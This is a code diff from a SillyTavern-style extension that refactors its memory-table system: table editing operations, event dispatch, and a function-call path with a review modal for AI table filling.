// 过期副本会覆盖表格系统从 msg.extra.amily2_tables_data 恢复的正确状态(双信源打架)。
// 表格状态的持久化与恢复完全交由表格系统loadTables / saveStateToMessage
//
// 原实现注释保留(原作者代码,不排除存在未知副作用依赖;确认稳定几个版本后再清):
//
// const METADATA_KEY = 'Amily2_Memory_Data';
//
// async function saveStateToMetadata() {
// const context = getContext();
// if (!context.chat || context.chat.length === 0) return;
//
// const lastMsgIndex = context.chat.length - 1;
// const lastMsg = context.chat[lastMsgIndex];
//
// const currentState = getMemoryState();
//
// if (!lastMsg.metadata) lastMsg.metadata = {};
//
// lastMsg.metadata[METADATA_KEY] = JSON.parse(JSON.stringify(currentState));
//
// if (context.saveChat) {
// await context.saveChat();
// }
//
// console.log(`[Amily2-SuperMemory] 状态已保存至消息 #${lastMsgIndex}`);
// }
// 原调用点processQueue 的 while 循环结束后 `await saveStateToMetadata();`
//
// export async function tryRestoreStateFromMetadata() {
// const context = getContext();
// if (!context.chat || context.chat.length === 0) return;
//
// let foundState = null;
// let foundIndex = -1;
//
// for (let i = context.chat.length - 1; i >= 0; i--) {
// const msg = context.chat[i];
// if (msg.metadata && msg.metadata[METADATA_KEY]) {
// foundState = msg.metadata[METADATA_KEY];
// foundIndex = i;
// break;
// }
// }
//
// if (foundState) {
// console.log(`[Amily2-SuperMemory] 发现历史状态 (Msg #${foundIndex}),正在恢复...`);
// if (typeof loadMemoryState === 'function') { // 需从 table-system/manager.js 导入 loadMemoryState
// loadMemoryState(foundState);
// await forceSyncAll();
// } else {
// console.warn('[Amily2-SuperMemory] table-system 缺少 loadMemoryState 方法,无法恢复状态。');
// }
// } else {
// console.log('[Amily2-SuperMemory] 未在聊天记录中发现历史状态,使用默认/当前状态。');
// }
// }
// 原调用点initializeSuperMemory 与 CHAT_CHANGED 监听器内,各一次,后接 forceSyncAll
// Bus 暴露SuperMemoryService 的 tryRestoreStateFromMetadata已一并停用
function updateDashboardCounters() {
const tables = getMemoryState();
@@ -265,20 +292,19 @@ export async function forceSyncAll() {
}
for (const table of tables) {
let role = 'database';
if (table.name.includes('时空') || table.name.includes('世界钟')) role = 'anchor';
if (table.name.includes('日志') || table.name.includes('Log')) role = 'log';
updateQueue.push({
tableName: table.name,
data: table.rows,
headers: table.headers,
rowStatuses: table.rowStatuses || [],
role: role
headers: table.headers,
rowStatuses: table.rowStatuses || [],
role: inferTableRole(table.name), // 复用 events-schema 的统一推断,避免两处逻辑漂移
});
}
await processQueue();
if (!isProcessing) {
_syncPromise = processQueue();
}
await _syncPromise;
console.log('[Amily2-SuperMemory] 全量同步完成。');
}

View File

@@ -0,0 +1,477 @@
/**
* @file actions/ui-mutations.js —— 19 个 UI 突变Phase 0.4 自 manager.js 搬出)
*
* 表格面板上的所有用户操作入口:增删行列 / 移动 / 重命名 / 规则更新 / 清空等。
* 函数签名与行为与搬出前完全一致manager.js re-export 这些函数,外部调用路径零改动。
*
* 依赖说明:
* - 状态读写走 infra/store.js持久化走 infra/persistence.js
* - SuperMemory 分发走 events-dispatch.js与 manager 共用,无环)
* - loadTables / saveTables 仍从 manager 引入addTable 空状态兜底 / 日志桩),
* manager ↔ ui-mutations 构成 ESM 循环,但二者均为 hoisted 函数声明、
* 仅在运行时调用,与既有 manager ↔ ui/table-bindings 环同模式,安全
*/
import { getContext } from '/scripts/extensions.js';
import { saveChat } from '/script.js';
import { saveChatDebounced } from '../../../utils/utils.js';
import { log } from '../logger.js';
import { renderTables } from '../../../ui/table-bindings.js';
import { dispatchTableUpdate, dispatchAllTablesUpdate } from '../events-dispatch.js';
import { loadTables, saveTables } from '../manager.js';
import {
getState,
addHighlight,
markTableUpdated,
getUpdatedTables,
} from '../infra/store.js';
import {
saveStateToMessage,
commitToLastMessage,
} from '../infra/persistence.js';
export function deleteColumn(tableIndex, colIndex) {
const tables = getState();
if (!tables || !tables[tableIndex] || colIndex < 0 || colIndex >= tables[tableIndex].headers.length) {
log(`删除列失败:在表格 ${tableIndex} 中找不到索引为 ${colIndex} 的列。`, 'error');
return;
}
tables[tableIndex].headers.splice(colIndex, 1);
tables[tableIndex].rows.forEach(row => {
if (row.length > colIndex) row.splice(colIndex, 1);
});
if (tables[tableIndex].columnWidths && tables[tableIndex].columnWidths.length > colIndex) {
tables[tableIndex].columnWidths.splice(colIndex, 1);
}
log(`成功删除了表格 ${tableIndex} 的第 ${colIndex + 1} 列。`, 'success');
saveTables(tables);
dispatchTableUpdate(tableIndex);
}
export function moveRow(tableIndex, rowIndex, direction) {
const tables = getState();
const table = tables?.[tableIndex];
if (!table || rowIndex < 0 || rowIndex >= table.rows.length) return;
const newIndex = direction === 'up' ? rowIndex - 1 : rowIndex + 1;
if (newIndex < 0 || newIndex >= table.rows.length) return;
const [movedRow] = table.rows.splice(rowIndex, 1);
table.rows.splice(newIndex, 0, movedRow);
if (table.rowStatuses && table.rowStatuses.length === table.rows.length + 1) {
const [movedStatus] = table.rowStatuses.splice(rowIndex, 1);
table.rowStatuses.splice(newIndex, 0, movedStatus);
}
log(`成功将表格 ${tableIndex} 的第 ${rowIndex + 1} 行移动到第 ${newIndex + 1} 行。`, 'success');
saveTables(tables);
dispatchTableUpdate(tableIndex);
}
export function insertRow(tableIndex, data, position = 'below') {
const tables = getState();
const table = tables?.[tableIndex];
if (!table) {
log(`插入行失败:找不到索引为 ${tableIndex} 的表格。`, 'error');
return;
}
let insertIndex;
if (typeof data === 'number') {
insertIndex = position === 'above' ? data : data + 1;
} else {
insertIndex = table.rows.length;
}
if (insertIndex < 0) insertIndex = 0;
if (insertIndex > table.rows.length) insertIndex = table.rows.length;
const newRow = new Array(table.headers.length).fill('');
if (typeof data === 'object' && data !== null) {
for (const colIndex in data) {
const cIndex = parseInt(colIndex, 10);
if (!isNaN(cIndex) && cIndex < newRow.length) {
newRow[cIndex] = data[colIndex];
addHighlight(tableIndex, insertIndex, cIndex);
}
}
}
table.rows.splice(insertIndex, 0, newRow);
if (!table.rowStatuses) table.rowStatuses = Array(table.rows.length).fill('normal');
table.rowStatuses.splice(insertIndex, 0, 'normal');
markTableUpdated(tableIndex);
dispatchTableUpdate(tableIndex);
log(`成功在表格 ${table.name} (索引 ${tableIndex}) 的第 ${insertIndex + 1} 行位置插入了新行。`, 'success');
commitToLastMessage(tables);
}
export function addRow(tableIndex) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const table = tables[tableIndex];
const colCount = table.headers.length;
const newRow = Array(colCount).fill('');
table.rows.push(newRow);
if (!table.rowStatuses) table.rowStatuses = Array(table.rows.length).fill('normal');
table.rowStatuses.push('normal');
markTableUpdated(tableIndex);
dispatchTableUpdate(tableIndex);
log(`表格 [${table.name}] 新增了一行。`, 'info');
commitToLastMessage(tables);
}
export function addColumn(tableIndex) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const table = tables[tableIndex];
const newHeader = `新列 ${table.headers.length + 1}`;
table.headers.push(newHeader);
table.rows.forEach(row => row.push(''));
if (!table.columnWidths) table.columnWidths = [];
table.columnWidths.push(null);
log(`表格 [${table.name}] 新增了一列。`, 'info');
commitToLastMessage(tables);
}
export function updateHeader(tableIndex, colIndex, value) {
const tables = getState();
if (!tables || !tables[tableIndex] || tables[tableIndex].headers[colIndex] === undefined) return;
const tableName = tables[tableIndex].name;
const originalHeader = tables[tableIndex].headers[colIndex];
tables[tableIndex].headers[colIndex] = value;
log(`表格 [${tableName}] 的表头“${originalHeader}”已更新为“${value}”。`, 'info');
commitToLastMessage(tables);
}
export async function deleteRow(tableIndex, rowIndex) {
const tables = getState();
const table = tables?.[tableIndex];
if (!table || !table.rows[rowIndex]) return;
if (!table.rowStatuses) {
table.rowStatuses = Array(table.rows.length).fill('normal');
}
table.rowStatuses[rowIndex] = 'pending-deletion';
markTableUpdated(tableIndex);
log(`表格 [${table.name}] 的第 ${rowIndex + 1} 行已标记为待删除。`, 'info');
const context = getContext();
if (context.chat?.length > 0) {
const lastMessage = context.chat[context.chat.length - 1];
if (saveStateToMessage(tables, lastMessage)) {
await saveChat();
renderTables();
dispatchTableUpdate(tableIndex);
return;
}
}
await saveChatDebounced();
renderTables();
dispatchTableUpdate(tableIndex);
}
export async function restoreRow(tableIndex, rowIndex) {
const tables = getState();
const table = tables?.[tableIndex];
if (!table || !table.rows[rowIndex] || !table.rowStatuses) return;
table.rowStatuses[rowIndex] = 'normal';
markTableUpdated(tableIndex);
log(`表格 [${table.name}] 的第 ${rowIndex + 1} 行已恢复。`, 'info');
const context = getContext();
if (context.chat?.length > 0) {
const lastMessage = context.chat[context.chat.length - 1];
if (saveStateToMessage(tables, lastMessage)) {
await saveChat();
renderTables();
dispatchTableUpdate(tableIndex);
return;
}
}
await saveChatDebounced();
renderTables();
dispatchTableUpdate(tableIndex);
}
export function commitPendingDeletions() {
const tables = getState();
if (!tables) return false;
let deletionCount = 0;
tables.forEach((table, tableIndex) => {
if (!table.rowStatuses || table.rowStatuses.length === 0) return;
let tableHadDeletions = false;
for (let i = table.rows.length - 1; i >= 0; i--) {
if (table.rowStatuses[i] === 'pending-deletion') {
table.rows.splice(i, 1);
table.rowStatuses.splice(i, 1);
deletionCount++;
tableHadDeletions = true;
}
}
if (tableHadDeletions) markTableUpdated(tableIndex);
});
if (deletionCount > 0) {
log(`已提交并永久删除了 ${deletionCount} 行。`, 'info');
const updated = getUpdatedTables();
if (updated.size > 0) {
updated.forEach(tableIndex => dispatchTableUpdate(tableIndex));
}
return true;
}
return false;
}
export function insertColumn(tableIndex, colIndex, position) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const table = tables[tableIndex];
const insertAt = position === 'left' ? colIndex : colIndex + 1;
table.headers.splice(insertAt, 0, '新列');
table.rows.forEach(row => row.splice(insertAt, 0, ''));
if (!table.columnWidths) table.columnWidths = [];
table.columnWidths.splice(insertAt, 0, null);
log(`表格 [${table.name}] 在第 ${colIndex + 1} 列的${position === 'left' ? '左侧' : '右侧'}插入了新列。`, 'info');
commitToLastMessage(tables);
}
export function moveColumn(tableIndex, colIndex, direction) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const table = tables[tableIndex];
const headers = table.headers;
const rows = table.rows;
const targetIndex = direction === 'left' ? colIndex - 1 : colIndex + 1;
if (targetIndex < 0 || targetIndex >= headers.length) {
log(`无法移动列:索引 ${colIndex} 已在边界。`, 'warn');
return;
}
const [headerToMove] = headers.splice(colIndex, 1);
headers.splice(targetIndex, 0, headerToMove);
rows.forEach(row => {
const [cellToMove] = row.splice(colIndex, 1);
row.splice(targetIndex, 0, cellToMove);
});
if (table.columnWidths && table.columnWidths.length > colIndex) {
const [widthToMove] = table.columnWidths.splice(colIndex, 1);
table.columnWidths.splice(targetIndex, 0, widthToMove);
}
log(`表格 [${table.name}] 的列“${headerToMove}”已向${direction === 'left' ? '左' : '右'}移动。`, 'info');
commitToLastMessage(tables);
}
export function deleteTable(tableIndex) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const tableName = tables[tableIndex].name;
tables.splice(tableIndex, 1);
log(`表格 [${tableName}] 已被成功废黜。`, 'success');
const success = commitToLastMessage(tables);
if (success) {
log('废黜表格后的状态已强制写入最新消息并立即保存。', 'success');
} else {
log('无法找到可锚定的消息或保存失败,删除操作可能不会被持久化!', 'error');
}
}
export function addTable(tableName) {
if (!tableName || !tableName.trim()) {
log('无法创建表格:名称不能为空。', 'error');
toastr.error('表格名称不能为空。', '创建失败');
return;
}
let tables = getState();
if (!tables) {
loadTables();
tables = getState();
}
if (tables.some(table => table.name === tableName.trim())) {
log(`无法创建表格:名为 "${tableName}" 的表格已存在。`, 'error');
toastr.error(`名为 "${tableName}" 的表格已存在。`, '创建失败');
return;
}
const newTable = {
name: tableName.trim(),
headers: ['新列 1'],
rows: [],
rowStatuses: [],
columnWidths: [],
note: '这是一个新创建的表格。',
rule_add: '允许',
rule_delete: '允许',
rule_update: '允许',
charLimitRules: {},
rowLimitRule: 0,
};
tables.push(newTable);
log(`已成功创建新表格:[${tableName.trim()}]。`, 'success');
const success = commitToLastMessage(tables);
if (success) {
log('新表格状态已强制写入最新消息并立即保存。', 'success');
} else {
log('无法找到可锚定的消息或保存失败,新表格可能不会被持久化!', 'error');
}
}
export function renameTable(tableIndex, newName) {
const tables = getState();
if (!tables || !tables[tableIndex]) {
log('重命名失败:表格不存在。', 'error');
toastr.error('表格不存在。', '重命名失败');
return;
}
const trimmedName = newName.trim();
if (!trimmedName) {
log('重命名失败:名称不能为空。', 'error');
toastr.error('表格名称不能为空。', '重命名失败');
return;
}
if (tables.some((table, index) => index !== tableIndex && table.name === trimmedName)) {
log(`重命名失败:名为 "${trimmedName}" 的表格已存在。`, 'error');
toastr.error(`名为 "${trimmedName}" 的表格已存在。`, '重命名失败');
return;
}
const oldName = tables[tableIndex].name;
tables[tableIndex].name = trimmedName;
log(`表格 "${oldName}" 已重命名为 "${trimmedName}"。`, 'success');
commitToLastMessage(tables);
}
export function moveTable(tableIndex, direction) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const newIndex = direction === 'up' ? tableIndex - 1 : tableIndex + 1;
if (newIndex < 0 || newIndex >= tables.length) {
log(`无法移动表格:索引 ${tableIndex} 已在边界。`, 'warn');
return;
}
const temp = tables[tableIndex];
tables[tableIndex] = tables[newIndex];
tables[newIndex] = temp;
log(`表格 [${temp.name}] 的顺序已调整。`, 'success');
const success = commitToLastMessage(tables);
if (success) {
log('表格顺序调整后的状态已强制写入最新消息并立即保存。', 'success');
} else {
log('无法找到可锚定的消息或保存失败,顺序调整可能不会被持久化!', 'error');
}
}
export function updateTableRules(tableIndex, newRules) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const table = tables[tableIndex];
table.note = newRules.note;
table.rule_add = newRules.rule_add;
table.rule_delete = newRules.rule_delete;
table.rule_update = newRules.rule_update;
table.charLimitRules = newRules.charLimitRules;
table.rowLimitRule = newRules.rowLimitRule;
table.simplifyRowThreshold = newRules.simplifyRowThreshold;
delete table.charLimitRule;
log(`表格 [${table.name}] 的规则已更新。`, 'info');
commitToLastMessage(tables);
}
export function updateRow(tableIndex, rowIndex, data) {
const tables = getState();
if (!tables || !tables[tableIndex]) {
log(`AI指令错误尝试在不存在的表格索引 ${tableIndex} 中操作。`, 'error');
return;
}
const table = tables[tableIndex];
if (rowIndex >= table.rows.length) {
log(`AI指令意图更新不存在的行 (rowIndex: ${rowIndex}),已智能转换为在表格 [${table.name}] 末尾新增一行。`, 'warn');
insertRow(tableIndex, data);
return;
}
const row = table.rows[rowIndex];
for (const colIndex in data) {
const cIndex = parseInt(colIndex, 10);
if (cIndex < row.length) {
row[cIndex] = data[cIndex];
addHighlight(tableIndex, rowIndex, cIndex);
}
}
markTableUpdated(tableIndex);
dispatchTableUpdate(tableIndex);
log(`AI 指令更新了表格 [${table.name}] 的第 ${rowIndex + 1} 行。`, 'info');
commitToLastMessage(tables);
}
export function clearAllTables() {
const tables = getState();
if (!tables) {
log('无法清空:当前表格状态为空。', 'error');
return;
}
tables.forEach((table, tableIndex) => {
if (table.rows.length > 0) markTableUpdated(tableIndex);
table.rows = [];
table.rowStatuses = [];
});
log('所有表格的行数据已在内存中清空。', 'warn');
dispatchAllTablesUpdate();
const success = commitToLastMessage(tables);
if (success) {
log('清空行数据后的状态已强制写入最新消息并立即保存。', 'success');
toastr.success('所有表格的剧情内容已清空。', '操作完成');
} else {
log('无法找到可锚定的消息或保存失败,清空操作可能不会被持久化!', 'error');
}
}
export function updateColumnWidth(tableIndex, colIndex, width) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const table = tables[tableIndex];
if (!table.columnWidths) table.columnWidths = [];
while (table.columnWidths.length < table.headers.length) {
table.columnWidths.push(null);
}
table.columnWidths[colIndex] = width;
commitToLastMessage(tables);
}

View File

@@ -6,13 +6,29 @@ import { updateTableFromText } from './manager.js';
import { extensionName } from '../../utils/settings.js';
import { renderTables } from '../../ui/table-bindings.js';
import { getPresetPrompts, getMixedOrder } from '../../PresetSettings/index.js';
import { callAI, generateRandomSeed } from '../api.js';
import { callAI, callAIForTools, generateRandomSeed } from '../api.js';
import { callNccsAI } from '../api/NccsApi.js';
import { TABLE_FILL_TOOL, parseToolCallArgs } from './formatters/tool-call.js';
import { updateTableFromOps } from './manager.js';
import { extractBlocksByTags, applyExclusionRules } from '../utils/rag-tag-extractor.js';
import { resolveTableRuleConfig } from '../../utils/config/RuleProfileManager.js';
import { showTableFillReviewModal } from '../../ui/page-window.js';
import { getBatchFillerRuleTemplate, getBatchFillerFlowTemplate, convertTablesToCsvString } from './manager.js';
const CONTINUE_PROMPT = '上一条回复不完整或缺少 <Amily2Edit> 指令块。请直接从中断处继续生成剩余内容,不要重复已输出的文本,也不要添加任何解释或寒暄,确保最终输出中包含完整的 <Amily2Edit>...</Amily2Edit> 指令块。';
async function requestContinuation(baseMessages, partialResponse) {
const continueMessages = [
...baseMessages,
{ role: 'assistant', content: partialResponse || '' },
{ role: 'user', content: CONTINUE_PROMPT },
];
const continued = await callTableModel(continueMessages);
if (!continued) return null;
return `${partialResponse || ''}${continued}`;
}
let isFilling = false;
let manualStopRequested = false;
let currentBatch = 0;
@@ -268,24 +284,90 @@ async function runBatchAttempt(batchNum, attemptNum) {
console.dir(messages);
console.groupEnd();
const resultText = await callTableModel(messages);
console.log(`[Amily2 立即远征] 批次 ${batchNum}/${totalBatches} - 收到 API 原始回复:`, resultText);
if (!resultText) {
throw new Error('API返回内容为空。');
const batchSettings = extension_settings[extensionName] || {};
if (batchSettings.tableFillFunctionCall) {
// Function Call 路径:结构化输出,无需检查 <Amily2Edit>
const argsString = await callAIForTools(messages, TABLE_FILL_TOOL, { slot: 'tableFilling' });
if (!argsString) throw new Error('Function Call 返回为空。');
const ops = parseToolCallArgs(argsString);
if (ops.length === 0) {
let parseHint = '';
try {
const rawParsed = JSON.parse(argsString);
const rawOpsLen = rawParsed?.operations?.length ?? 0;
if (rawOpsLen > 0) {
parseHint = `(响应含 ${rawOpsLen} 条操作,但全部未通过格式校验)`;
}
} catch {
parseHint = '(响应 JSON 解析失败)';
}
log(`批次 ${batchNum} FC 操作列表为空${parseHint},原始响应:\n${argsString}`, 'warn');
toastr.info('AI 判断此批次无需修改。', `批次 ${batchNum}`);
} else {
await updateTableFromOps(ops, { immediateDelete: true });
renderTables();
log(`批次 ${batchNum} Function Call 处理成功(${ops.length} 条操作)。`, 'success');
}
} else {
// Legacy 文本路径
const resultText = await callTableModel(messages);
console.log(`[Amily2 立即远征] 批次 ${batchNum}/${totalBatches} - 收到 API 原始回复:`, resultText);
if (!resultText) throw new Error('API返回内容为空。');
if (!resultText.includes('<Amily2Edit>')) {
log(`批次 ${batchNum} 的响应未包含 <Amily2Edit> 指令块,弹出检查窗口等待用户处理。`, 'warn');
updateButtonState('paused');
showTableFillReviewModal(resultText, {
title: `填表响应检查 - 批次 ${batchNum}/${totalBatches}`,
subtitle: `批次 ${batchNum}/${totalBatches}(楼层 ${startFloor}-${endFloor})的 AI 响应未包含有效的 <Amily2Edit> 指令块。请检查原始响应并选择处理方式。`,
onContinue: async (currentText) => {
const merged = await requestContinuation(messages, currentText);
if (!merged) { toastr.error('补全请求失败或返回为空。', '继续补全'); return null; }
if (!merged.includes('<Amily2Edit>')) {
toastr.warning('补全后仍未包含 <Amily2Edit> 指令块,可继续补全、手动应用或重新填表。', '继续补全');
} else {
toastr.success('已获得包含指令块的补全内容,可点击”手动应用”写入。', '继续补全');
}
return merged;
},
onApply: (editedText) => {
if (!editedText || !editedText.includes('<Amily2Edit>')) {
toastr.warning('应用的文本中未检测到 <Amily2Edit> 指令块,已按原文尝试写入。', '手动应用');
}
try {
updateTableFromText(editedText, { immediateDelete: true });
renderTables();
log(`批次 ${batchNum} 已由用户手动处理完成。`, 'success');
} catch (err) {
log(`批次 ${batchNum} 手动应用失败: ${err.message}`, 'error');
toastr.error(`手动应用失败: ${err.message}`, '写入异常');
currentBatch = batchNum - 1;
updateButtonState('error');
return;
}
currentBatch = batchNum;
setTimeout(processNextBatch, 500);
},
onRetry: () => {
log(`用户选择重新填表,批次 ${batchNum} 将重新执行。`, 'warn');
setTimeout(() => runBatchAttempt(batchNum, 0), 300);
},
onCancel: () => {
log(`用户取消了批次 ${batchNum} 的处理,任务已暂停。`, 'warn');
currentBatch = batchNum - 1;
updateButtonState('error');
},
});
return;
}
updateTableFromText(resultText, { immediateDelete: true });
renderTables();
log(`批次 ${batchNum} 处理成功。`, 'success');
}
// 【修复】检查 AI 是否返回了有效的指令块,防止 AI 偷懒或格式错误被误判为成功
if (!resultText.includes('<Amily2Edit>')) {
throw new Error('AI未返回有效的 <Amily2Edit> 指令块,可能格式错误或未产生实质性变更。');
}
// 【V155.0】批量填表时,启用立即删除模式,避免红色待删除行残留
updateTableFromText(resultText, { immediateDelete: true });
renderTables();
log(`批次 ${batchNum} 处理成功。`, 'success');
currentBatch = batchNum;
setTimeout(processNextBatch, 1000);
currentBatch = batchNum;
setTimeout(processNextBatch, 1000);
} catch (error) {
log(`批次 ${batchNum} 尝试 ${attemptNum + 1} 失败: ${error.message}`, 'error');
@@ -345,7 +427,9 @@ export function startBatchFilling() {
manualStopRequested = false;
const context = getContext();
chatHistoryLength = context.chat.length;
threshold = parseInt(document.getElementById('batch-filling-threshold')?.value, 10) || 30;
threshold = extension_settings[extensionName]?.batch_filling_threshold
?? parseInt(/** @type {HTMLInputElement|null} */ (document.getElementById('batch-filling-threshold'))?.value, 10)
?? 30;
const ruleTemplate = getBatchFillerRuleTemplate();
const flowTemplate = getBatchFillerFlowTemplate();
@@ -484,24 +568,82 @@ export async function startFloorRangeFilling(startFloor, endFloor) {
console.dir(messages);
console.groupEnd();
const resultText = await callTableModel(messages);
console.log(`[Amily2 楼层填表] 楼层 ${startFloor}-${endFloor} - 收到 API 原始回复:`, resultText);
if (!resultText) {
throw new Error('API返回内容为空。');
const floorSettings = extension_settings[extensionName] || {};
if (floorSettings.tableFillFunctionCall) {
const argsString = await callAIForTools(messages, TABLE_FILL_TOOL, { slot: 'tableFilling' });
if (!argsString) throw new Error('Function Call 返回为空。');
const ops = parseToolCallArgs(argsString);
if (ops.length === 0) {
let parseHint = '';
try {
const rawParsed = JSON.parse(argsString);
const rawOpsLen = rawParsed?.operations?.length ?? 0;
if (rawOpsLen > 0) {
parseHint = `(响应含 ${rawOpsLen} 条操作,但全部未通过格式校验)`;
}
} catch {
parseHint = '(响应 JSON 解析失败)';
}
log(`楼层 ${startFloor}-${endFloor} FC 操作列表为空${parseHint},原始响应:\n${argsString}`, 'warn');
toastr.info('AI 判断此楼层范围无需修改。', `楼层 ${startFloor}-${endFloor}`);
} else {
await updateTableFromOps(ops, { immediateDelete: true });
renderTables();
toastr.success(`楼层 ${startFloor}-${endFloor} 填表完成!`);
log(`楼层 ${startFloor}-${endFloor} Function Call 处理成功(${ops.length} 条操作)。`, 'success');
}
} else {
const resultText = await callTableModel(messages);
console.log(`[Amily2 楼层填表] 楼层 ${startFloor}-${endFloor} - 收到 API 原始回复:`, resultText);
if (!resultText) throw new Error('API返回内容为空。');
if (!resultText.includes('<Amily2Edit>')) {
log(`楼层 ${startFloor}-${endFloor} 的响应未包含 <Amily2Edit> 指令块,弹出检查窗口等待用户处理。`, 'warn');
showTableFillReviewModal(resultText, {
title: `填表响应检查 - 楼层 ${startFloor}-${endFloor}`,
subtitle: `楼层 ${startFloor}-${endFloor} 的 AI 响应未包含有效的 <Amily2Edit> 指令块。请检查原始响应并选择处理方式。`,
onContinue: async (currentText) => {
const merged = await requestContinuation(messages, currentText);
if (!merged) { toastr.error('补全请求失败或返回为空。', '继续补全'); return null; }
if (!merged.includes('<Amily2Edit>')) {
toastr.warning('补全后仍未包含 <Amily2Edit> 指令块,可继续补全、手动应用或重新填表。', '继续补全');
} else {
toastr.success('已获得包含指令块的补全内容,可点击”手动应用”写入。', '继续补全');
}
return merged;
},
onApply: (editedText) => {
if (!editedText || !editedText.includes('<Amily2Edit>')) {
toastr.warning('应用的文本中未检测到 <Amily2Edit> 指令块,已按原文尝试写入。', '手动应用');
}
try {
updateTableFromText(editedText, { immediateDelete: true });
renderTables();
toastr.success(`楼层 ${startFloor}-${endFloor} 填表完成!`);
log(`楼层 ${startFloor}-${endFloor} 填表由用户手动处理完成。`, 'success');
} catch (err) {
log(`楼层 ${startFloor}-${endFloor} 手动应用失败: ${err.message}`, 'error');
toastr.error(`手动应用失败: ${err.message}`, '写入异常');
}
},
onRetry: () => {
log(`用户请求重新填写楼层 ${startFloor}-${endFloor}`, 'warn');
setTimeout(() => startFloorRangeFilling(startFloor, endFloor), 300);
},
onCancel: () => {
log(`用户取消了楼层 ${startFloor}-${endFloor} 的填表。`, 'warn');
toastr.info(`已取消楼层 ${startFloor}-${endFloor} 的填表。`);
},
});
return;
}
updateTableFromText(resultText, { immediateDelete: true });
renderTables();
toastr.success(`楼层 ${startFloor}-${endFloor} 填表完成!`);
log(`楼层 ${startFloor}-${endFloor} 填表处理完成。`, 'success');
}
// 【修复】检查 AI 是否返回了有效的指令块
if (!resultText.includes('<Amily2Edit>')) {
throw new Error('AI未返回有效的 <Amily2Edit> 指令块,可能格式错误或未产生实质性变更。');
}
updateTableFromText(resultText, { immediateDelete: true });
renderTables();
toastr.success(`楼层 ${startFloor}-${endFloor} 填表完成!`);
log(`楼层 ${startFloor}-${endFloor} 填表处理完成。`, 'success');
} catch (error) {
log(`楼层 ${startFloor}-${endFloor} 填表失败: ${error.message}`, 'error');
toastr.error(`楼层填表失败: ${error.message}`, '处理失败');

View File

@@ -0,0 +1,51 @@
/**
* @file events-dispatch.js —— SuperMemory 事件分发Phase 0.4 自 manager.js 抽出)
*
* 把单表 / 全表的最新状态推送给 SuperMemory优先 Bus 直调,降级 CustomEvent
* 独立成模块的原因manager.js 与 actions/ui-mutations.js 都需要调用,
* 放在任何一方都会制造新的循环依赖;本模块只依赖 store / events-schema / logger零环。
*/
import { extension_settings } from '/scripts/extensions.js';
import { extensionName } from '../../utils/settings.js';
import { log } from './logger.js';
import { getState } from './infra/store.js';
import { createTableUpdateEvent, inferTableRole } from './events-schema.js';
/**
* 把单个表格的最新状态推送给 SuperMemory优先 Bus 直调,降级 CustomEvent
* @param {number} tableIndex
*/
export function dispatchTableUpdate(tableIndex) {
const settings = extension_settings[extensionName] || {};
if (settings.super_memory_enabled === false) return;
const state = getState();
if (!state || !state[tableIndex]) return;
const table = state[tableIndex];
const role = inferTableRole(table.name);
const smBus = window.Amily2Bus?.query('SuperMemory');
if (smBus?.pushUpdate) {
smBus.pushUpdate({
tableName: table.name,
data: table.rows,
headers: table.headers,
rowStatuses: table.rowStatuses ?? [],
role,
});
} else {
document.dispatchEvent(createTableUpdateEvent(table));
}
log(`[SuperMemory] Dispatched update for ${table.name} (role: ${role})`, 'info');
}
/**
* 触发所有表格的全量同步Pipeline 变更后调用)。
*/
export function dispatchAllTablesUpdate() {
const state = getState();
if (!state) return;
log('[SuperMemory] Dispatching update events for ALL tables...', 'info');
state.forEach((_, index) => dispatchTableUpdate(index));
}

View File

@@ -0,0 +1,91 @@
/**
* @file formatters/tool-call.js — Function Call 填表格式器
*
* 职责:
* - 导出 TABLE_FILL_TOOL发给模型的 tools 定义(单工具 + operations 数组)
* - 导出 parseToolCallArgs把 tool_calls[0].function.arguments 解析为 Operation[]
*
* 与 executor.jslegacy formatter并列下游 applyOperations 不感知来源。
*
* @typedef {import('../dto/Operation.js').Operation} Operation
*/
/**
* 填表工具 schema。使用 operations 数组而非多工具并发,兼容所有支持 function calling 的提供商。
*
* data 的 key 为列索引字符串("0"、"1"...),与 executor.js legacy 格式保持一致,
* 提示词中会给出列索引与列名的对应关系。
*/
export const TABLE_FILL_TOOL = {
type: 'function',
function: {
name: 'apply_table_edits',
description: '将一批表格编辑操作应用到记忆表格中。',
parameters: {
type: 'object',
properties: {
operations: {
type: 'array',
description: '按顺序执行的操作列表。',
items: {
type: 'object',
properties: {
op: {
type: 'string',
enum: ['insertRow', 'updateRow', 'deleteRow'],
description: 'insertRow=新增行updateRow=更新已有行deleteRow=删除行'
},
tableIndex: {
type: 'integer',
description: '目标表格的 0-based 索引'
},
rowIndex: {
type: 'integer',
description: 'updateRow / deleteRow 时必填,目标行的 0-based 索引'
},
data: {
type: 'object',
description: 'insertRow / updateRow 时必填key 为列索引字符串("0"/"1"...value 为单元格内容',
additionalProperties: { type: 'string' }
}
},
required: ['op', 'tableIndex']
}
}
},
required: ['operations']
}
}
};
/**
* 解析 tool_calls[0].function.arguments 字符串为 Operation[]。
* 结构校验失败的单条操作会被静默跳过,不中断整体解析。
*
* @param {string} argsString - JSON 字符串
* @returns {Operation[]}
*/
export function parseToolCallArgs(argsString) {
let parsed;
try {
parsed = JSON.parse(argsString);
} catch {
return [];
}
const rawOps = parsed?.operations;
if (!Array.isArray(rawOps)) return [];
/** @type {Operation[]} */
const ops = [];
for (const raw of rawOps) {
if (raw.op === 'insertRow' && Number.isInteger(raw.tableIndex) && raw.data && typeof raw.data === 'object') {
ops.push({ op: 'insertRow', tableIndex: raw.tableIndex, data: raw.data });
} else if (raw.op === 'updateRow' && Number.isInteger(raw.tableIndex) && Number.isInteger(raw.rowIndex) && raw.data && typeof raw.data === 'object') {
ops.push({ op: 'updateRow', tableIndex: raw.tableIndex, rowIndex: raw.rowIndex, data: raw.data });
} else if (raw.op === 'deleteRow' && Number.isInteger(raw.tableIndex) && Number.isInteger(raw.rowIndex)) {
ops.push({ op: 'deleteRow', tableIndex: raw.tableIndex, rowIndex: raw.rowIndex });
}
}
return ops;
}

View File

@@ -5,16 +5,17 @@
* - 状态infra/store.js (currentTablesState / highlights / updatedTables)
* - 持久化infra/persistence.js (saveStateToMessage / commitToLastMessage)
